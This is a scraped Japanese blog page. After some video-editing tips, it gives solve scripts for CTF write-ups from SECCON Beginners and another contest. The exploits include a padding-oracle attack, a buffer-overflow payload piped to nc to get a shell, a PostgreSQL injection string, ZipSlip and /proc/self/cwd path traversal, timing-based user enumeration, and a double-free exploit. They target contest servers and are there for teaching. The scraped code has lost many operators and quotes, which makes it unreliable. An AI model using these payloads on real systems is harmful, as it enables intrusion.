くれなゐの雑記

Time 2020-12-15 04:03:07

Web Name: くれなゐの雑記

WebSite: http://kurenaif.hatenablog.com

ID:134511

Keywords:

雑記,

Description:

全編字幕を想定する場合、先に原稿を作っておくと効率が良い。 字幕を入れることを前提として動画を作る場合は、動画を聞く→巻き戻す→字幕を入れる→確認する。といった編集過程が入るが、原稿があると字幕をコピペする→適切な長さに字幕の表示時間を変更する→と、巻き戻す手間がなくなるため、非常に高速に編集を進めることができる。これは字幕を作成する時間より圧倒的にかかるので、先に原稿を作成するメリットは大きい。さらに原稿を先に作っておくことで、スムーズに話せるようになり、動画のテンポも上げることができる。 以上、今思いついたことを連ねてみました！もし参考になれば幸いです僕のアナリティクスから得られる知見もまだ隠し持っているのですが、ちょっと公開するのは恥ずかしいのでもし動画作っている人で興味があれば声をかけてくださいｗではな ばいば～い youtu.be# Beginner's Cryptohttps://youtu.be/V-snPSCGyvQ2# print(chineseRem(2,3,3,5))N = len('1002773875431658367671665822006771085816631054109509173556585546508965236428620487083647585179992085437922318783218149808537210712780660412301729655917441546549321914516504576')num = 1002773875431658367671665822006771085816631054109509173556585546508965236428620487083647585179992085437922318783218149808537210712780660412301729655917441546549321914516504576# print(chineseRem(num, 10**N, 0, 2**10000)[1])from Crypto.Util.number import *print(long_to_bytes(chineseRem(num, 10**N, 0, 2**10000)[0] // 2**10000))# 2**10000# Beginner's mischttps://youtu.be/V-snPSCGyvQ?t=891めちゃめちゃ頑張って分数を合わせるimport math# 0x777f: 552/# 0x777e: 552+# 0x7774: 5520cnt = 0out = i = 0num = 552/5520tar = -1for i in range(5000): temp_num = 0 if tar == -1: temp = 462/ out_temp = chr(0x3b7f) for _ in range(cnt): temp += 462/ out_temp += chr(0x3b7f) temp += 462 out_temp += chr(0x3b7e) temp_num = eval(temp) print(num+temp_num) print(math.pi) if num + temp_num == math.pi: break if num+temp_num = math.pi: out += out_temp num += temp_num else: tar = -1 cnt += 1 print(i, ':', math.pi-num) if f: out += chr(0x3fbf) + chr(0x3f75) + chr(0x3f75) + chr(0x3f75) + chr(0x3f75) + chr(0x3f75) + chr(0x3f75) + chr(0x3f75) + chr(0x3f7e) f = True num += temp out += chr(0x337f) + chr(0x3fb7) + chr(0x3fb7) + chr(0x3fb7) + chr(0x3fb7) + chr(0x3ff5) else: break print(math.pi) print(num)num+=1666/6666666666666666666out += chr(0xbbbf) + chr(0xbbba) + chr(0xbbba) + chr(0xbbba) + chr(0xbbba) + chr(0xbbbe)print(num == math.pi)with open( out.txt , w ) as f: f.write(out + chr(0x777f) + chr(0x7774) + '\n')m = m1*m2にして、分解して、直接1337とかFとか文字列を使わずに、表現する。具体的にはdata1 = b \x18\x99\x99\x9b\x96# data2 = b \x02 data = b 1337,F こんな感じでやれば分解できる。これを、サーバーに送信したら、signatureが2つ帰ってくるので、それらを掛け算したらOKR B該当する再生時間の動画のリンクhttps://youtu.be/Lpeh8yN7NAg?t=628これはRot13とbase64やるだけ。import base64def _rot13(c): if 'A' = c and c = 'Z': return chr((ord(c) - ord('A') + 13) % 26 + ord('A')) if 'a' = c and c = 'z': return chr((ord(c) - ord('a') + 13) % 26 + ord('a')) return cS = BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ== while True: if S[0] == R : S = rot13(S[1:]) elif S[0] == B : S = base64.b64decode(S[1:]).decode('utf-8') else: print(S) breakr: ベクトルで未知(それぞれの要素が2256まで)b: 既知(それぞれの要素が、1000*2256)とかかな？rが小さいので、rを無視して、Aの逆行列を計算する。何回も計算して、最頻値を取って、mを復号する。(実はrがSEED固定なので毎回固定だった…)from os import getenvfrom time import timefrom random import getrandbits, seedFLAG = b ctf4b{00000000000000000000000000000000000000000} SEED = b hogehoge L = 256N = len(FLAG)def dot(A, B): assert len(A) == len(B) return sum([a * b for a, b in zip(A, B)])coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)]seed(SEED)answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs]print(coeffs)print(answers) row.append(coeffs[i][j]) row.append(answers[i] - 2**255) # 低めに出やすいので中央に持ってくる mat.append(row)solve(mat)# for i in range(len(mat)):# for j in range(len(mat[i])):# print(mat[i][j], end= )# print()for i in range(len(mat)): if i == len(mat)-1: print(mat[i][-1]) else: print(mat[i][-1], end= , )同じ文字が続いても同じブロックが現れない: ECBではない最後から2ブロック目をいじると、最後の1ブロックの特定バイトが変更される: ほぼほぼCBCCBCってわかったらあとはPadding oracle attackimport requestsimport base64import jsonimport copyblock_len = 16def encrypt(S): data = '{ mode : encrypt , content : '+ S +' }' print(data) response = requests.post('http://encrypter.quals.beginners.seccon.jp/encrypt.php', data=data) return base64.b64decode(json.loads(response.text)['result'])def decrypt(E): data = '{ mode : decrypt , content : '+ base64.b64encode(E).decode('utf-8') +' }' response = requests.post('http://encrypter.quals.beginners.seccon.jp/encrypt.php', data=data) d = json.loads(response.text) return 'result' in ddef merge_blocks(blocks): res = [] for block in blocks: for b in block: res.append(b) return bytes(res)def split_blocks(byts): blocks = [] for i in range(len(byts)//16): blocks.append(list(byts[i*16:(i+1)*16])) return blocksdef expose_last_block(blocks_org, position): res = [] for i in range(16, 0, -1): res.append(i) print(res) blocks = copy.deepcopy(blocks_org) print(len(blocks[0])) # paddingの数の特定 padding_len = -1 for index in range(15,-1,-1): for i in range(256): print( index, i: , index, i) blocks[position-1][index] = i if index == 15 and blocks_org[position-1][-1] == blocks[position-1][-1]: continue if decrypt(merge_blocks(blocks)): X = i break for j in range(15,index-1,-1): blocks[position-1][j] ^= res[index] blocks[position-1][j] ^= (res[index]+1) res[index] = res[index] ^ X ^ blocks_org[position-1][index] print(res) return resprint(encrypt( aaaaaaaaaaaaaa ))# flagE = b'\xe6\x90\xb6\xa9\xf0\xcdb\xf2{\xd2j,\xcd\x9fr\xf8\xab\xe4\xc9% \xdf\xf9t\x10\xa9x\x00V[\x9f\xfbe\x04\xac\xaa\x85\x11\x10\xbdod`\xa8\xbe\xc1%u\xae\x919\x17\xb4\x8dU\xf4/\xbd\xab\xd7\xa6t*\xbb'# E = b'\xd9\xc4f\xd6\xfdS\x0e\x8d;\xa0\x89\xdfW\x9c\x88iBq\xbd\x03Sji\x11\x9c\xa4\x10\x0f\x05q[\xc8'# print(encrypt(E))blocks = split_blocks(E)print(blocks)res = []for i in range(len(blocks)-1): target = copy.deepcopy(blocks) res.append(expose_last_block(target[:(i+2)], -1))print(merge_blocks(res))# b'ctf4b{p4d0racle_1s_als0_u5eful_f0r_3ncrypt10n}\x02\x02'https://youtu.be/Lpeh8yN7NAg?t=2344byteの差分を見ると、4byteの文字しか使ってないのに、すごい差が小さい事に気づいた。差分を計算して、1文字目を'c'と決め打ちして、あとは差分で計算するfrom Crypto.Util.number import *import copyf = open( ./emoemoencode.txt )nums = []hexs = []for line in f: line = line[:-1] for c in line: nums.append(bytes_to_long(c.encode())) hexs.append(c.encode())print(nums)print(hexs)for h in hexs: print(h)diffs = [0]*len(nums)for i in range(1,len(diffs)): diffs[i] = nums[i]-nums[i-1]print(diffs)last = ord('c')res = []for i in range(len(diffs)): last += diffs[i] print(last) if last = 0: res.append(chr(last)) else: res.append('?')print(''.join(res))https://youtu.be/Lpeh8yN7NAg?t=2777基本は、リターンアドレスを書き換えるだけの問題ただし、alignが0x10の倍数じゃないととおらないので、2回popするテニックが必要。rp++とかで、pop retするgadgetを見つけて、そこに対して飛ばす。更にスタックにいい感じにデータを積んで、shellに飛ばす。echoしただけだと、Congraturations!とでて終わって悲しい気持ちになるので、catコマンドで標準入力をうけつけることで、shellを入力する。(echo -e 1111111111111111111111111111111111111111\x4c\x0b\x40\x00\x00\x00\x00o\x00\x61\x08\x40\x00\x00\x00\x00\x00\n cat) | nc bs.quals.beginners.seccon.jp 9001https://youtu.be/Lpeh8yN7NAg?t=4204angr使うだけ。import angrproj = angr.Project('./yakisoba')simgr = proj.factory.simgr()res = simgr.explore(find=lambda s: b Correct in s.posix.dumps(1))print(res.found[0].posix.dumps(0))https://youtu.be/Lpeh8yN7NAg?t=4510ghidraを使うと、リバエンが捗るA = list(b atd4`qdedtUpetepqeUdaaeUeaqau )B = list(b c`b bk`kj`KbababcaKbacaKiacki )# A = i 0x75# B = i 0xebfor i in range(len(A)): print(chr(A[i] | B[i]), end= )print() if ((N == 0) (N = strcmp((char *)local_58, c`b bk`kj`KbababcaKbacaKiacki ), N == 0)) { puts( Correct! Submit your FLAG. ); else { puts( Wrong FLAG. Try again. );https://youtu.be/Lpeh8yN7NAg?t=5106ghostscriptのファイルが与えられる。ghostscript頑張って読み解くと、以下のようになる。%!PS-Adobe-3.0/flag 64 string def/output 8 string def(%stdin) (r) file flag readlinenot { (I/O Error\n) print quit } if 2 index % 標準入力をstackのtopにコピー length(文字列長さ？)の数分繰り返す length 1 index 1 add 3 index 3 index 1 index 64711 mod } repeat exch % スタックの上位2要素を交換 pop % スタックトップ消去 dup % スタックトップの複製 output % バッファ? cvs % 多分文字列変換的なやつ print % ↑の表示 ( ) print % スペースの表示 128 mod 1 add exch 1 add exch } repeat (\n) print quitここまで読み解くと、おおよそN文字目まで合っていれば、N+1文字目をブルートフォースすれば行けるのではと思いました。それを解くスクリプトはこちら。# 変数をstdinとしてサブプロセスに渡すimport subprocessfrom subprocess import PIPE print(input_text) proc = subprocess.run( gsnd chall.gs , shell=True, input=input_text, stdout=PIPE, stderr=PIPE, text=True) r = proc.stdout nums = list(map(int, r.split('\n')[-2].split())) return numsans = [3417,61039,39615,14756,10315,49836,44840,20086,18149,31454,35718,44949,4715,22725,62312,18726,47196,54518,2667,44346,55284,5240,32181,61722,6447,38218,6033,32270,51128,6112,22332,60338,14994,44529,25059,61829,52094]S = aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa for i in range(0, len(ans)): for c in range(32,127): print(i, c) S = list(S) S[i] = chr(c) S = .join(S) r = f(S) if(len(r) != len(ans)): continue print(r) print(ans) if r[i] == ans[i]: print(S) breakhttps://youtu.be/Lpeh8yN7NAg?t=6037/home/ctf/flag のパスを ctf という文字列を使わずに表現する。めちゃめちゃ頑張ってググると/proc/self/cwd で自信プロセスが実行されてるパスがわかるので、 /proc/self/cwd/../flag で終わりspy該当する再生時間の動画のリンクhttps://youtu.be/Lpeh8yN7NAg?t=6405パスワードが分からない A-Z までの26人のユーザー候補者がいる。この中で、何人かユーザー登録がされているので、それを当ててくださいという問題。パスワードハッシュを求めるのに時間がかかるので、それで時間計測を行って解く。import requestsimport reES = [ Arthur , Barbara , Christine , David , Elbert , Franklin , George , Harris , Ivan , Jane , Kevin , Lazarus , Marc , Nathan , Oliver , Paul , Quentin , Randolph , Scott , Tony , Ulysses , Vincent , Wat , Ximena , Yvonne , Zalmon ,]d = {}for name in ES: d[name] = login(name)res = sorted(d.items(), key=lambda x:x[1])for kv in res: print(kv[0], kv[1])### output #### Zalmon 0.0002587# Scott 0.0002846# Nathan 0.000287# David 0.0002886# Barbara 0.0002965# Vincent 0.0003085# Paul 0.000309# Oliver 0.0003096# Wat 0.0003245# Quentin 0.0003251# Franklin 0.0003289# Kevin 0.0003555# Jane 0.0003723# Harris 0.0003805# Ulysses 0.0003837# Arthur 0.0003927# Christine 0.0004138# Ivan 0.0004918# Randolph 0.0006449# Ximena 0.4110968# Elbert 0.4719231# Tony 0.4757388# George 0.5149259# Yvonne 0.5762974# Marc 0.6083214# Lazarus 0.6226675なので、返り値にgolangの型に合うようにいい感じに複文実行してやると\\'; select usename, usename, now() from pg_user --https://youtu.be/Lpeh8yN7NAg?t=7618パストラバーサルで /flag.txt を読んでください。ただし、使えるパスはアップロードしたzipファイルの中に含まれるファイル名のみです。ZipSlip Attackと呼ばれるらしい。 ../../flag.txt なファイル名の作り方がわからなかった。(ずっとsymbolic linkで頑張ろうとしていた。)ので、 ../../flag.txt と同じ文字数を持つ aaaaaaaaaaaaaa というファイルをzip圧縮し、後でバイナリエディタでファイル名だけ変更した。あとはzipファイルをアップロードして、アクセスするとディクトリトラバーサルでecho file_get_contents($filepath);https://youtu.be/Lpeh8yN7NAg?t=8582double free書き下すのが辛いので、動画参照from ptrlib import *from Crypto.Util.number import *sock = Socket( bh.quals.beginners.seccon.jp , 9002)intro1 = sock.recvuntil(' ').decode('utf-8')intro2 = sock.recvuntil(' ').decode('utf-8')intro = intro1 + intro2win_addr = 0free_hook_addr = 0for line in intro.split('\n'): if ' win :' in line: win_addr = int(line.split(':')[-1].strip()[2:], 16) if ' __free_hook :' in line: free_hook_addr = int(line.split(':')[-1].strip()[2:], 16)print( win_addr : {} .format(hex(win_addr)))print( free_hook_addr: {} .format(hex(free_hook_addr)))A_offset = list(b 000000000000000000000000\x31\x00\x00\x00\x00\x00\x00\x00 )win_addr_bytes = long_to_bytes(win_addr)free_hook_addr_bytes = long_to_bytes(free_hook_addr)相変わらずCryptoを先に解いたが、今回1問苦戦してしまい、時間がかかってしまったので他の問題に取り組めなかったし、1問取り逃した。猛反省です。めちゃめちゃ問題はオリジナリティがあって面白かった。ROR相変わらず若干改造しているけど、与えられたソースコードはこんな感じimport random# from secret import flagror = lambda x, l, b: (x l) | ((x ((1 l)-1)) (b-l))N = 1for base in [2, 3, 7]: N *= pow(base, random.randint(123, 456))e = random.randint(271828, 314159)# m = int.from_bytes(flag, byteorder='big')m = 123456assert m.bit_length() N.bit_length()for i in range(m.bit_length()): print(pow(ror(m, i, m.bit_length()), e, N))ソースコードを読むと、 ror には右に1ビットローテートさせてることがわかる。RSA暗号ライクに、 m^e % N が m のbit数分与えられて、ここから秘密鍵等なしに m を復元する問題。mがbit数分与えられるので、一つのメッセージにつき、1bitずつ漏洩させていけば良い。一番下1bitが与えられるので、偶奇判定をすれば良さそう。Nが2と3と7の乗数であるため、Nは偶数。よって、 (m^e%N) % 2 = m%2よって、与えられたすべての数字の下位1bitを取れば良い。よって以下のコードで終わり。from Crypto.Util.number import long_to_bytesf = open( chall.txt )lines = f.readlines()x = []res = 0for l in reversed(lines): res += (int(l) % 2) res = 1res = 1print(res)print(long_to_bytes(res))もとのソースコードは長いので割愛。要約すると、RSA暗号の復号したあとの平分の下位1bitがわかるので、複合してねという問題。c^d % N で複合できるが、この N が奇数なので、2倍したときに値の偶数奇数が変わったり変わらなかったりする。変わらないときはNをまたがなかったときで、変わったときがNをまたいだとき。この性質を使ってとくのがLSB Decryption Oracle Attackという典型になるのだが、しばらく考察してほとんど車輪の再発明をしてしまった。反省。from fractions import Fractionfrom math import ceilfrom netcat import Netcat# e = 0x10001# n = 0xb70658461262420a495cd1550ea53710332562d2e1626cc1ea96e865dc89c9f1726f5e800c10faaa84f8f90476e90052c882be52de2340d05112c8537ad7987995378c33294651af496856dd1dc521a76e9c53# ENC = 0x503c938eb2a9a19cda0690c057625e4d94571929ee3e0522433fefc6eeaa8e47869dc517ad67690e8c8d1c3f844f44ee3e3877aa784e0caaabebcee8fe3fd4d6ac939ee6e942c763957f2189ba405c86a0d9bcn = 0x6d70b5a586fcc4135f0c590e470c8d6758ce47ce88263ff4d4cf49163457c71e944e9da2b20c2ccb0936360f12c07df7e7e80cd1f38f2c449aad8adaa5c6e3d51f15878f456ceee4f61547302960d9d6a5bdfad136ed0eb7691358d36ae93aeb300c260e512faefe5cc0f41c546b959082b4714f05339621b225608da849c30fe = 0x10001# d = 7431740025043756221515365067850832783728283232431063318145314661892911614671147927990392897931413631166880130409307412466350812244440287457800809181971129220878086928879210857936329091778189386682273ENC = 0x3cfa0e6ea76e899f86f9a8b50fd6e76731ca5528d59f074491ef7a6271513b2f202f4777f48a349944746e97b9e8a4521a52c86ef20e9ea354c0261ed7d73fc4ce5002c45e7b0481bb8cbe6ce1f9ef8228351dd7daa13ccc1e3febd11e8df1a99303fd2a2f789772f64cbdb847d6544393e53eee20f3076d6cdb484094ceb5c1def to_hex_str(x): return hex(x)[2:]def f(x): nc = Netcat('18.179.178.246', 3001) nc.read_until(b' ') nc.write(b'2\n') nc.read() # ENC : nc.write((to_hex_str(x)+'\n').encode('ascii')) nc.read() # SIG : nc.write(b'\n') res = nc.read().decode('ascii')[31:] res = (int(res, 16) % 2 == 0) nc.close() return res# def g(x):# return pow(x, d, n) % 2 == 0low = 0high = Fraction(n)cnt = 0c = ENCwhile high - low = 1: cnt += 1 print( cnt: , cnt) cc = (c * pow(2,e,n))%n mid = Fraction((high+low)/2) if f(cc): high = mid else: low = mid c = ccprint(ceil(low))# cnt: 1023# 3299797009569702876689278043775981424617312808105724734787052702483069Uはサーバーにつなぐ度に変わるランダムな値でめっちゃでかい。(逆行列が存在することは保証されている。)Xは各要素が0~255であるような行列であれば任意に与えることができる。Uの左上の要素をU00、U^{-1}の左上の要素を U^{-1}00とすると、(U00) (U/U00) X (U^{-1}00) (U^(-1) / U^{-1}00)のように変形することができる。 ここで、U00 や U{-1}00 はスカラーの値で、 (U/U00) は Uの各要素をU00 で割ることを意味する。Xに{{1,0,0},{0,0,0},{0,0,0}}や、{{0,0,0},{0,1,0},{0,0,0}}など、単位行列の片割れみたいなやつを投げていくと、U/U00 や U^{-1}/U^{-1}00 の値を求めることができる。ここで、U00 や U{-1}00は未知数のままになるが、実は U00 * U{-1}00 の値は求めることができる。(後でまとめる ソースコード参照)よって、逆行列が求められるようになり、下記ソースコードで求めることができる。import base64from fglg import FiniteGeneralLinearGroupsize = 6p = 8360080291231856208342820490554787440072018576480512700791136197550784456752887668431380873895156613081656896954431466745396150329739610536564837226911771def inv(x): return pow(x, p-2, p)def f(index): res = b'' for i in range(size*size): if index == i: res += b'\x01' else: res += b'\x00' return resdef to_mat(strs): tmp = strs[0] + ',' for i in range(1,len(strs)-1): tmp += strs[i] tmp += ',' tmp += strs[-1] # print(tmp) mat = eval(tmp) return matfor i in range(6): print(base64.b64encode(f(i*6+i)))encs = [[ [[2844109057510656923952466146137977471293285267640412110199566979647354787906393156285834223940331193724189323464515484588843099726061450009464982167363979, 4663529941370007603048667089824379230877162373989378292796895584214399321763444036661816764527059996643733921819566666950119226241446224232143490508807097, 6075374380206399306206199728758345261118486866873029127956689642499175844929618387914495024344311564970148929167280642192213483593070644492944370008873689, 4097301783660782251336476972845798659475539100511854532759941471221051345039115357990798965110496117219736164852673302945250618902009919535937629088878780, 4901804800356980143822832819720501901599752314050363109376874785860871742660241152466646105755211792821221369418255975686642959683098969904231031976364042, 2258966585386204547722395445687643461819163669866968489295435430580711959935760779278933967719942319464803369019303476537482047659422762747353459149032564] , [3560797918639006346382690226349831460455429848252421305846093213490807744303822764946777077307885167259435429607822401980679320254062445920902415260034338, 4941693658577867681038303101840510409533819832854703323965355625735153841765106813962542715811856254964742636832021227882811022942130841930358478558435907, 4893162499985645890510568573669085120412559372211744188812438778446013560729909432354993565252869684798238658490482434629963126606700097643191151337421815, 4464299947361991331955438331982234748267010891544101318451149921762352925642293505390880056548617394654132453619952720736208234320504995053637181343236363, 8193476280258052153553939692804878474565442504868336509417531766484542510033261824312615229562242011917200907619196728508114506649233854455066003989808840, 330622642492148380105914481912637145519716547951405646334026402572081611513379423574188182190392337351753577969913705221153680101003167976781392870895408] , [7886637382328416017019958731061506711022902163245805949442532512620330708486799281813729634550474959613330950367128866552749824636542481462173373202080065, 2912548487954813628882397832069094266041585093136484171202438738374338958586103517803457504494620495859481994554583344693625171416901828769765136810209755, 4618213424565770411146840748114321323709066783329600365846065614659523847332403706350098558642482910217163851943566972776691293991332624500698677406980768, 2310827939353277656385830160062296652051490301038103220715145255581220042504102162372718560198671153358860392143564942445175829183892655769056111316183844, 1720630852517271021919228739118894843828437149909747954696947144630589151429918764318207550913532720574339907432163297630345779083296734590043154204006603, 80863307142524577043957449467545995775605640278801755563508604508669844693490961335327418547126029731580344192627475417946337458435230162606630029741411] , [4683896627467601484060512410679012213392944441658970182956302192426515153762046314072276718314075133720283274507790052350262814271141785318386673715009754, 3616549657910893463479827045131588966238817968191479219891543099222741775216875988027624437944073841822738543239967484143502029090864643009266315120483851, 7728361346193444604763293166910408942121424137163284423118402521753319882318604162934794757635001645463213506528750097795268758454238764563796287815950306, 2688399857269946331943050840478987147469925875094059311995962934264463639665931000004316272555656696677155690631708201620746426398363571565978286218984002, 1964587000961659876174873136407580254723550967367023058125238940739926813010875070266694316427146350730874711867470166409896285393583896511240460525030515, 15390954020832326585900087183031292287474451266723351241323747632133067503193271357855256697947505177244771871542520607255760409590675966180861617611563] , [3173551930862052224202372619428426453741833926344773441673678332786629997648301144859781616021937199647790683283980862694021670324261476791114956519752707, 467776452318537516179636947035778541233537716095434962185250647768738226941543648451220394598375954044734476129148767477843344760098791807698342130287579, 8232807472321858343360616488598825969006238178758937145510511964235784060454972139507879191785785837534219459496770549721739053048115688210356910175864324, 3455042557058964332732650066466926538831869205003079905327805430287617960981133625471738778062470080446151100262099726977114229413952823439858050771544140, 3925778235441558180881453368193221291691056546093085629719575442507425164108074468891396652205650879889352716808664348173992523215390473908898279233801414, 5703069890739428289582880383754395481288053894312350933857304113140746034412360946745677870242659697918845619766991540894460228344788824759263839094362551] , [616564095832684444493933086603704939423530262009194623038159773929132052409705429656362059655305139144200543675687503810364206265687175744837692233246214, 1495719155768410198093574350768436670033783204722793751717603235864683086169705356670663476028141865538459934634561739317264195275064559215677687708064750, 2423717961021113945654231675347773046952673688911165520236341403746815775346539132879325934572662283822205281033290928864839705467760034673255242526443547, 1680524687326186993223553699093460731212355837334277222862337809388867630154877198542414763552348732689010509533822788865700641653775373377403796828339354, 531609488186815098934795812181406731080934861399039702904803476563011443267184625547379785935973532131250763962689058071923931993338079240874906471205712, 6062046640329769096066347266899344676518901424429677360646881995838432089480753859799954198529491903772366471182818165193104084715939869694295808095169244]] , [[2803821056668490611294073034573880698996327904364163613205066574880527207299722854493866385187457761354302112778750196964656219820117464591255587308956436, 3750836767514077095536483178606067851183226503341429995524322471455394778466596907321592826288496684012320273983261260963265414788261888514976099784901950, 2498981700490371942559704337778236202924549970675634909578493815912127662084151348487768439519914612466946631571922239782082288447650845714368523884826549, 515191682021112042461459536958522376068974661629463565716455922014456041016779153956872450752381881941831499975234747975319299032221694507688938502636522, 3968904451751795859948656691772943297799828237009606237467823202982212290912291340506914007380248195667843494547418040468150823726204831156618971934520382, 2948962403680802606789930292176406531977053734918306366221342209590433425253475763866493711782328378004873495308679410362199939046013134920706889527235720] , [380884923854791065893933128922173604072100861317386835940884870619107636107321720997401168326678319936686466669769096150700639446306793387808956333031745, 7355166896338964348820964068017746975540070022013196213734834768516181706828725637574436549441910722096531288758959579331909936735146191357660917332907963, 1868575375607131209884190402730729988169515786536777956425072034917870989758858547914066656824654657606054368715873408840836197242784739803367293818577677, 956309002107663456799742197954334274234348977330650984848615986558625577700556023037570946658382913025033216579873617888815933319169638545076251813887012, 2867727447479143512631658343669566725737044184881073732083130580175178690955952451937453413092886925959274799972772328787195086437872784209122330716221643, 3541379071797772847474309427659550464634110575665448839362382214809310378356130081815101786136105890845481980775919677660020737168957143778730376882889512] , [3509365376767303292637179502111115986117910892423718577787965436812668209109533654013423474593124690182153973020443372540908768559879329893825913073046014, 6115844777267703958776425796438545186188903490023248838732007816524868169775391080053882888551816731880818558456682534497400829172216539395394323323139792, 3441946893521007741421732590063713555766555240284318674271124018119364508764887431406902462550146113764240464256827512351400430511618321455132612294688862, 8044684075805621919499259109344475676664401947257944215273804927366083890062844033716393858179755212089799761748156540282959391212575121739253779025491818, 1256692924591411602725043950981066258161625083837129674584486932677229506313258150793216226803346677764866174445880703328643292127180845238971146971063559, 4716106146978711895065985653010884193487421171452106095429257594174696036182389278529271459953047149510655007835080164014679023540138865031451245807729632] , [3927041841574869015958598578182387497925877650197495790355915878184536523021644771481281630510006475360630571919388130010238169764501029573383568511660669, 1419852605311001783651930972445558449705617057316941009927353336949678003728606137284103802520062399161077156727109063713165319140076245893114487609944645, 2022968689722258825105433586819875651181915266699476976378626996832518644820110525812995181952968471146498123206899172234364929688662810025852048344583792, 4593859473771566885377512892325350785046727314256554621801809437883226073913499295032360693198614710666268276506172043380434238268834982567189996699511803, 8253801929129254987503976172133372692371767232532242397856204289036659250344308500002748804392345865993856100906374498197302608580988065703797896959012141, 6691040376245757985724492187892249722245968616848642770154563909932068676214557356888532073725874863775938918134725529041948065054871524880888241707871122] , [1902614142783282961185671980103888135270345914269236174925090709119237074230024075524928395568290135601128475414062444300707166627871076567972344206996464, 3457255300632707065900214017597628667205399353068036667446507236070617216966503672181279844757514679255314895110397886186436538671386399329802957375181628, 1763742401623990024250635529542182048583467994881024516006987992156440980472346484492699379576953398604362494717009581637101641948847382624889714515069564, 8304377857206944735354006238069273229688482882271435196903342297306201859793340201134624767980780270722776268585027077722352601642322770426328789337915249, 1031101775942775287016866592108364909981264870277981971770663139913917773964280054850517647630443278419275580826809411711239874520744416138903427799244555, 6944493149911938176369791418981045745787743620130804378552761048488359471950876111817887880679935064976749824429685594340192209996583867928799587789212721] , [7503815648137835623633928908026634268809031294258885949835577932991551684326479035967478500815007330124699296552386744061078390279474906126983473131361457, 517085287840211601988852717333025651543354193848581180361524137645161828289912704202563130110076170698930364863314183468128997409605722958136316077734530, 5724764168253792229212915794697062329944092605014768297918462045297662162184149766936115995003351086537086561574773654746415361212648745094116828978295020, 3639948528224714524564720995846802672262850341944997181161147771994015264205138188708735892795368527120761488028791763149844037465964179709648469762555824, 1996658703261117272315591280755250309625003189705696221886914582021672743701691591400294937006485404034508213268486922139046722585071583080245415702180249, 5854344777452763751097312294575305394885110378245323007589910653339136099487547731936058883676897252944352967735775656496547751132757455499551970245425695]] , [[4142966158080332138958719296085307659474717767714537501855968569758510970898872704183969562028412015410390256327865091382562555916585490197551596901677206, 3309591966565927469547142030300182972401693693173284431034969587172314225378687012723540096186981934345664040301679812673216990119926924397905478453782764, 7974600173720957953874706487245414735251695851837024540307255552068202392981276531695083340087660655952495580229623667946838501336946927271970939890094723, 5947852292319848880088187514510157132800608058863460672082331054051522802043061451297495654992583303306271833700629605646551702513995808902817275696539249, 7100080830805993173052349538080494024761329429286294972979579809460279431028028974593563483053866040627311300382935810274400004739868331416420545771671422, 6558273465204762436217210307162989499667728489359642522934002979377431799100773631151220238278419661583371986060364276315138546368027535310336945680258670] , [2840490862360559354660829223867315195431655376210133755307052160937672029815642504039980897764148115084301110639033739477985172264213275482449637566421360, 6710234940392904619450564864329878239437191922729346269321730292801235450918443521840531827334495750234543839693795456479565117572881828439207757113404606, 5459127950122918793594675136313198614392536025537452584841784330333120045258882956470432342963862172949396736598630853879989542106646738628474882810953923, 2178572274870741909871720262271328202473789076421411154230632881219232825085148052262513138344575247014716814295471162760633570095436802363279962296633795, 3987598929357050135366978488660387267432714423171749207544118308316039894528382978157352243969276772736680596922022687119459646037986449481991291748628618, 2024902144322406614350233184927366471486890515107991809354366260580482272527636329402329397409634649458879747700584350370572156900419424472868547186593360] , [1498492921735640032986138858013958757519628043121172031589454777341434900343222204559076961695754179170730082672258120917458239788637259913772898361521847, 4864344039062918801025101278865083141322858986857848293898712293003589974382160530941177875846399027389228962349309222554589076119872103474333419369053851, 2462864971287447708964822871813409504140747459549362890067151215613292331696212627896633552129568697175511348654874942332715044494016075272784917786947218, 2623588663724514586603028974920037397101081162205258258310198464072618713807393699930112573876157620581559492728800256794227874920840455057841204267385984, 4344176111507936643938257701970293486790854967904547087244417044486225512480959311202754841913794306523148715533359916432972643555060070985084871375458635, 4684429010652906597384359986697493707480954795978106655351181904714252698787948384322672455923378033684337433076559772457714364710895070852720903248048403] , [3094809101588133868012247838377864107063046678418484799557310357839176311498648412754403353283488526446663492189084478143087631556421796037154271613530982, 1218400677817303283419143220351644298083219232639648088727276181512443774345428394435178602717321214991504434155157033450518496774161363519006999208996135, 4976753807830652142749798556684057210150843887981733255268786503127364803970061440811526959851457134202789772724304527348366540795510690626533948343450809, 6306187871445324721376028421212670926552209813936211954520585336810602819267101506169718411421085148520086757665184120904287963419432043464919483057889859, 1833106920968942472486810225194666867138304485980231800031340809947587741111962230539893512445140276665700453661111529177756750801229299829920856895396686, 5944983656008702843299825744939879522916964169773676855236153835126217946521860091930095349890238031759118454121655056243894407323812224360177569100681000] , [5470100782607793034630848954199211025033364467462884963827914367440359149323628825139100538085878619141578685582945640118065146890881393360543180203471251, 5171544658380490479076590885600853495465746668635150049085401445916609195612855329299638211404766486396082950210344531073980204186651305524726021531325664, 1244059226470035685649983657879334539158679284156712950290916476402509092101488788455310664127922470760345136669007686978437241324069402309374833631914586, 6967709626175609013358397510337425358395174371229548954405617743045323413987645698831341456070932190075222891888017751268883695493968837263913485133305445, 7145820732880643161292993687975828061608307352265755530784841001628971312586770768906184846878446322646098014767246222344293599082131962615681304617559937, 3552213214242624595495939080725627959411013586354641573603156281331127763767251533180374921899865664711745093743958999874317193547172471377963591251620128] , [851140108791000166571631972962293784153219617798846393093315381220816911521196933317687423641269525559585526151386313107528665448997595805482294246239089, 